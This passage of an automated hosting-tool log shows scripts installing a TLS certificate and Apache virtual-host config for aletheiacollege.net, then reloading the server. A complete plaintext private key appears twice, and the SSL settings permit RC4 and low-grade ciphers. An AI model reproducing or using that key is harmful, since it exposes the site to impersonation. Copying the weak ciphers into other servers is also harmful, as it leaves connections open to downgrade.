MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCpMa/Jdy9rJ/BJ
kOiySGtbo2ptc/SmKnh/dRZyUrqTtAvrm+Rs6yPueAZilPvcwwVh86vWzyvMBlIn
US/nOMEWQOrne/CqfjmuE03KV80WULzN28sMloN/mcesDH1XJ0vPx5a1T/HrSOo5
Lwc7kSfEUGBKJkaBYExYgaUuIUm90Xjfjux9NpMR4hi0zc4U/1K1vt7jD15YDkfJ
ETuHYCLUn5IcT/UPmUaWr1S0q/RecWRpCnprEFjoS8AJpHs4ulK35aEVVjNSkiHH
YWJgvW0jEXOpGFCsESvLdXiF+nSCumG6fVDVJp1klPf00o2pjzHwdj4a+jscuyxM
C2hOdDzRAgMBAAECggEBAKShNTPqZdh1dyiN+O4o61Wyj8dKsf3Ri4gxzRKWjvdT
lNm/yad1sXPDlCruXpfzp1QlPsp4sVwHtn6NT/hD0BWwOyHdBlNPGR7Zp7LAdk1F
aEFCobNw7SkG4DP3vypDkU/vHCT2UiYnv8i+iuIaHsC1mMvtrGMM6ZyhIbHeMBui
l1dDuBuRO20Z1853pN73slyQwtHEPmrkt3iskZ1IxtAf0qEgD0CEgyNtDClt/CsA
7DSEXwrDpj8ZhXrj81kf1gPWht2vOWh8imsH1i6tovm6M+Yft29r67A5FjYjhTWm
qo+1ouCYNAnySUzT3ra6eLKat7yXCklUrCqVIPRs9kECgYEA0sQ8mF1+NovuJ9u4
Ed99oveH+MerkZyMGs8rksqxnd7gAE9eaBtnVBn6S1KOgHK7UMSpxskvQE2E4IoQ
B6+W79UhqHKRQV10CLEeqCikzNWN3mebxrgnFeHMI22QVXubcoySgmQiEp0lFtzS
ZY3x6F6PyGb98S6sIQfM178DOSkCgYEAzYFo6qmABq8g4R86cDVPxeTYa5lElyFk
RjjChOZ4koBQXHK9PYNJ3OfOE6Fd5BkBoOsTGW9sIkfQeCfcjwGtMvpqrZmi0Ebu
3i8fEeKvRGz7nR92Eb0Dy0Ass2kv6OI6aaHAIUmehPMMlHLbGcs3KTufh8h460t7
8GaNEN1902kCgYBbQPmXYotd5JH1ke0NV/1WjOPDM/g1sFj81ovgH4BtgOztVW/j
lVHUmPbEm/b06DfvzWZQmhSqO6X3be9o1H5+UoIjI49+hI7ToJRMbGSGB0RIcgWB
MYRCtiOjhzGBwWXZX8GjUOVrt7wyPOOfcqi1WhPYybbTMMj3+B+ZnaswmQKBgGjq
Mlfq5POEoPKNcNYsQWe0Z1C3VK8bWwgGnjgfOVsBqwUnhrlKt4DRzwFylm6G3a/7
kyqfGcN+ik1tfEp9/qBR+/hYwSg3rmc8A06sPfJe+S3EDBEOQEuZnbiScOUh6dRX
wbC81vLk6n03DehjOOwSBmXZ0PG+/a1Dja0Yhs5RAoGAdUNStInzeIwUu7FMplFO
PtVB8qh/cML8F/0VDa3/YqeZCJZLdqErdCAZDKyd3NeD+VwsTLlJMskBIm/FMKmR
vlCN4TbEVDL5OZjv3LNwFT2EVXgXXDmG0kHGsF0KUBFAiUyaVyvm+EuWytsb6Wvi
IoxDRhWC+yfOA583CIKXypk=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-12-25 06:00:32:
chmod 755 /tmp/pkp163400; /tmp/pkp163400; rm /tmp/pkp163400
2025-12-25 06:00:32:
dir=/etc/ssl/certs
2025-12-25 06:00:32:
PUT: /tmp/pkp124988
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/aletheiacollege_www_net.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-12-25 06:00:32:
chmod 755 /tmp/pkp124988; /tmp/pkp124988; rm /tmp/pkp124988
2025-12-25 06:00:32:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/aletheiacollege_www_net.conf 47
<VirtualHost *:80>
ServerName aletheiacollege.net
ServerAlias www.aletheiacollege.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/aletheiacollege_www
<Directory /var/www/aletheiacollege_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/aletheiacollege/www_access.log combined
ErrorLog /var/log/apache2/aletheiacollege/www_error.log
SetEnv pkp_uid 62
SetEnv pkp_owner aletheia
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName aletheiacollege.net
ServerAlias www.aletheiacollege.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/5eb375246e856b10900412efba9b1585.crt
DocumentRoot /var/www/aletheiacollege_www
<Directory /var/www/aletheiacollege_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/aletheiacollege/www_secure_access.log combined
ErrorLog /var/log/apache2/aletheiacollege/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-25 06:00:32:
PUT: /tmp/pkp171053
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=aletheiacollege_www_net.conf
TARGET=/etc/apache2/sites-enabled/aletheiacollege_www_net.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName aletheiacollege.net
ServerAlias www.aletheiacollege.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/aletheiacollege_www
<Directory /var/www/aletheiacollege_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/aletheiacollege/www_access.log combined
ErrorLog /var/log/apache2/aletheiacollege/www_error.log
SetEnv pkp_uid 62
SetEnv pkp_owner aletheia
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName aletheiacollege.net
ServerAlias www.aletheiacollege.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/5eb375246e856b10900412efba9b1585.crt
DocumentRoot /var/www/aletheiacollege_www
<Directory /var/www/aletheiacollege_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/aletheiacollege/www_secure_access.log combined
ErrorLog /var/log/apache2/aletheiacollege/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/aletheiacollege_www_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/aletheiacollege_www_net.conf)= /etc/apache2//etc/apache2/sites-enabled/aletheiacollege_www_net.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/aletheiacollege_www_net.conf= 1'
fi
2025-12-25 06:00:32:
chmod 755 /tmp/pkp171053; /tmp/pkp171053; rm /tmp/pkp171053
2025-12-25 06:00:33:
2025-12-25 06:00:33:
PUT: /tmp/pkp371354
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-12-25 06:00:33:
chmod 755 /tmp/pkp371354; /tmp/pkp371354; rm /tmp/pkp371354
2025-12-25 06:00:33:
.
2025-12-25 06:00:33: Establishing a connection
2025-12-25 06:00:33:
PUT: /tmp/pkp207821
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-12-25 06:00:33:
chmod 755 /tmp/pkp207821; /tmp/pkp207821; rm /tmp/pkp207821
2025-12-25 06:00:33:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
port 80 namevhost jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
port 80 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:2)
alias www.aletheiacollege.net
port 80 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:2)
alias www.christadelphia.net
port 80 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:2)
alias www.gospelstudies.net
port 80 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:2)
alias www.heaster.org
port 80 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:2)
port 80 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:2)
alias www.hristadelfiane.org
port 80 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:2)
alias www.osnovybiblii.info
port 80 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:2)
alias www.realdevil.info
*:443 is a NameVirtualHost
default server aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
port 443 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
alias www.aletheiacollege.net
port 443 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:23)
alias www.christadelphia.net
port 443 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:23)
alias www.gospelstudies.net
port 443 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:23)
alias www.heaster.org
port 443 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:22)
port 443 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:23)
alias www.hristadelfiane.org
port 443 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:23)
alias www.osnovybiblii.info
port 443 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:23)
alias www.realdevil.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
2025-12-25 06:00:33:
PUT: /tmp/pkp990164
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/aletheiacollege_www_net.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-25 06:00:33:
chmod 755 /tmp/pkp990164; /tmp/pkp990164; rm /tmp/pkp990164
2025-12-25 06:00:33:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/aletheiacollege_www_net.conf 1448
<VirtualHost *:80>
ServerName aletheiacollege.net
ServerAlias www.aletheiacollege.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/aletheiacollege_www
<Directory /var/www/aletheiacollege_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/aletheiacollege/www_access.log combined
ErrorLog /var/log/apache2/aletheiacollege/www_error.log
SetEnv pkp_uid 62
SetEnv pkp_owner aletheia
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName aletheiacollege.net
ServerAlias www.aletheiacollege.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/5eb375246e856b10900412efba9b1585.crt
DocumentRoot /var/www/aletheiacollege_www
<Directory /var/www/aletheiacollege_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/aletheiacollege/www_secure_access.log combined
ErrorLog /var/log/apache2/aletheiacollege/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-25 06:00:33:
PUT: /tmp/pkp694306
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/5eb375246e856b10900412efba9b1585.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-25 06:00:33:
chmod 755 /tmp/pkp694306; /tmp/pkp694306; rm /tmp/pkp694306
2025-12-25 06:00:33:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/5eb375246e856b10900412efba9b1585.crt 5394
29:f6:96:72:9a:be:a2:48:bf:97:9c:af:7c:1f:f2:4b
-----BEGIN CERTIFICATE-----
MIIFHDCCBASgAwIBAgISBjt16nPEFjDLrvAMGYc3IpYsMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjI1MDUwMjAxWhcNMjYwMzI1MDUwMjAwWjAeMRwwGgYDVQQD
ExNhbGV0aGVpYWNvbGxlZ2UubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAqTGvyXcvayfwSZDoskhrW6NqbXP0pip4f3UWclK6k7QL65vkbOsj7ngG
YpT73MMFYfOr1s8rzAZSJ1Ev5zjBFkDq53vwqn45rhNNylfNFlC8zdvLDJaDf5nH
rAx9VydLz8eWtU/x60jqOS8HO5EnxFBgSiZGgWBMWIGlLiFJvdF4347sfTaTEeIY
tM3OFP9Stb7e4w9eWA5HyRE7h2Ai1J+SHE/1D5lGlq9UtKv0XnFkaQp6axBY6EvA
CaR7OLpSt+WhFVYzUpIhx2FiYL1tIxFzqRhQrBEry3V4hfp0grphun1Q1SadZJT3
9NKNqY8x8HY+Gvo7HLssTAtoTnQ80QIDAQABo4ICPTCCAjkwDgYDVR0PAQH/BAQD
AgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBSqHSAvJOVbdqnieK5oJD89tcxt6jAfBgNVHSMEGDAWgBQAtSny
LY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTIuaS5sZW5jci5vcmcvMDcGA1UdEQQwMC6CE2FsZXRoZWlhY29sbGVn
ZS5uZXSCF3d3dy5hbGV0aGVpYWNvbGxlZ2UubmV0MBMGA1UdIAQMMAowCAYGZ4EM
AQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNDUu
Y3JsMIIBBQYKKwYBBAHWeQIEAgSB9gSB8wDxAHcAyzj3FYl8hKFEX1vB3fvJbvKa
Wc1HCmkFhbDLFMMUWOcAAAGbVBg2JgAABAMASDBGAiEA8FGnL75KBnGQPPY0sh6Q
2GdCRzrD3MvzKzrLFAzRPNkCIQC943ezVhn3OmSfOuBjD8Takl1RPg2HPJnH0RuC
GG0zLAB2AA5XlLzzrqk+MxssmQez95Dfm8I9cTIl3SGpJaxhxU4hAAABm1QYNhUA
AAQDAEcwRQIgOyxLYeiAYalT0co4Lmkh2euoBanbNm8kGLNO+w5y9BwCIQDG+ERA
AIegQasW1BnYSvF7iUmc/pRP0q2CNuzuSp8yxTANBgkqhkiG9w0BAQsFAAOCAQEA
kQ+io4FdYTUUBFkNFXzXAfyQUbyijkIxT4kBKuRInqQTBkU1GO2Uw+4SrTu7xaiJ
e1i+eWhiWqNaMgSxX05kI4lOuq5vO+eIID0DT1cbopLGThDLsl80mW6JC8oBWLGO
hEOOBNPJfPGws56ioUPyTXVrdBHZXuqQ3dtOtrrY90SVdYxqAeqfD96CDjXvDOyB
3BCgE0hvSgFwld/AygqPt9rJvIbx2+0PnYoJAouI82n5abveAe6MPD8MvQwEM4C6
DInx+GvGE1IMzpb8ld3ry4v7RMTDypRsaDSt1wkIFiajr9uF/x7slrcMzkKgPW+v
Xfqkx4NYjxhEPlIfXJYCgA==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCpMa/Jdy9rJ/BJ
kOiySGtbo2ptc/SmKnh/dRZyUrqTtAvrm+Rs6yPueAZilPvcwwVh86vWzyvMBlIn
US/nOMEWQOrne/CqfjmuE03KV80WULzN28sMloN/mcesDH1XJ0vPx5a1T/HrSOo5
Lwc7kSfEUGBKJkaBYExYgaUuIUm90Xjfjux9NpMR4hi0zc4U/1K1vt7jD15YDkfJ
ETuHYCLUn5IcT/UPmUaWr1S0q/RecWRpCnprEFjoS8AJpHs4ulK35aEVVjNSkiHH
YWJgvW0jEXOpGFCsESvLdXiF+nSCumG6fVDVJp1klPf00o2pjzHwdj4a+jscuyxM
C2hOdDzRAgMBAAECggEBAKShNTPqZdh1dyiN+O4o61Wyj8dKsf3Ri4gxzRKWjvdT
lNm/yad1sXPDlCruXpfzp1QlPsp4sVwHtn6NT/hD0BWwOyHdBlNPGR7Zp7LAdk1F
aEFCobNw7SkG4DP3vypDkU/vHCT2UiYnv8i+iuIaHsC1mMvtrGMM6ZyhIbHeMBui
l1dDuBuRO20Z1853pN73slyQwtHEPmrkt3iskZ1IxtAf0qEgD0CEgyNtDClt/CsA
7DSEXwrDpj8ZhXrj81kf1gPWht2vOWh8imsH1i6tovm6M+Yft29r67A5FjYjhTWm
qo+1ouCYNAnySUzT3ra6eLKat7yXCklUrCqVIPRs9kECgYEA0sQ8mF1+NovuJ9u4
Ed99oveH+MerkZyMGs8rksqxnd7gAE9eaBtnVBn6S1KOgHK7UMSpxskvQE2E4IoQ
B6+W79UhqHKRQV10CLEeqCikzNWN3mebxrgnFeHMI22QVXubcoySgmQiEp0lFtzS
ZY3x6F6PyGb98S6sIQfM178DOSkCgYEAzYFo6qmABq8g4R86cDVPxeTYa5lElyFk
RjjChOZ4koBQXHK9PYNJ3OfOE6Fd5BkBoOsTGW9sIkfQeCfcjwGtMvpqrZmi0Ebu
3i8fEeKvRGz7nR92Eb0Dy0Ass2kv6OI6aaHAIUmehPMMlHLbGcs3KTufh8h460t7
8GaNEN1902kCgYBbQPmXYotd5JH1ke0NV/1WjOPDM/g1sFj81ovgH4BtgOztVW/j
lVHUmPbEm/b06DfvzWZQmhSqO6X3be9o1H5+UoIjI49+hI7ToJRMbGSGB0RIcgWB
MYRCtiOjhzGBwWXZX8GjUOVrt7wyPOOfcqi1WhPYybbTMMj3+B+ZnaswmQKBgGjq
Mlfq5POEoPKNcNYsQWe0Z1C3VK8bWwgGnjgfOVsBqwUnhrlKt4DRzwFylm6G3a/7
kyqfGcN+ik1tfEp9/qBR+/hYwSg3rmc8A06sPfJe+S3EDBEOQEuZnbiScOUh6dRX
wbC81vLk6n03DehjOOwSBmXZ0PG+/a1Dja0Yhs5RAoGAdUNStInzeIwUu7FMplFO
PtVB8qh/cML8F/0VDa3/YqeZCJZLdqErdCAZDKyd3NeD+VwsTLlJMskBIm/FMKmR
vlCN4TbEVDL5OZjv3LNwFT2EVXgXXDmG0kHGsF0KUBFAiUyaVyvm+EuWytsb6Wvi
IoxDRhWC+yfOA583CIKXypk=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-12-25 06:00:33: Establishing a connection
2025-12-25 06:00:33: Establishing a connection
2025-12-25 06:00:34:
PUT: /tmp/pkp197889
#!/bin/bash
if [ -d "/var/www/biblealive_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-25 06:00:34:
chmod 755 /tmp/pkp197889; /tmp/pkp197889; rm /tmp/pkp197889
2025-12-25 06:00:34:
1
2025-12-25 06:00:35: Establishing a connection
2025-12-25 06:00:35:
